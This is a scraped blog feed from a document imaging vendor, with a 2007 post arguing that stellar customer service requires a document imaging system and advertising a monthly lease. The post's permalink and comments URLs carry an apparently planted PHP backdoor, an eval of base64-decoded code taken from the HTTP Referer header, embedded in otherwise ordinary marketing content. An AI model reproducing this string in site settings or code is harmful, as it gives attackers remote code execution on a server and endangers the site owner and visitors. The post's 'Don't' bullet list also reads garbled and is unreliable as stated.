Document Imaging Solutions, Inc. http://www.disusa.com/blog The new standard in document imaging software Tue, 18 Dec 2007 10:49:48 +0000 http://wordpress.org/?v=2.3.1 en It’s all about Customer Service… http://www.disusa.com/blog/2007/12/13/its-all-about-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.disusa.com/blog/2007/12/13/its-all-about-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 14 Dec 2007 00:08:33 +0000 erin http://www.disusa.com/blog/?p=4  It’s all about Customer Service…

Customers only call you when THEY have a question that they need answered.  They are turning to you as a resource, a place to get needed information to enable them do their job.  It’s your chance to be the HERO.

What does it take to be the HERO?

Stellar Service!

Stellar service means that you…

  • Don’t put your customer on hold
  • Don’t tell the customer you will call them back after you find the file
  • Don’t ever get back to them

Stellar customer service means that you can answer your customer’s questions accurately, on the initial phone call, and then provide them immediate supporting documentation.

This can only be accomplished WITH a document imaging system.

Yes!  You heard me right.  Document imaging is the only way you can provide stellar customer service.

How would you rate your customer service now?

  • Stellar
  • Great
  • Good
  • Okay
  • Not So Good
  • Poor
  • Bad

How do you think your customers would rate you?

If you haven’t purchased a document imaging system because of “price” check out our $100 month-to-month lease program.

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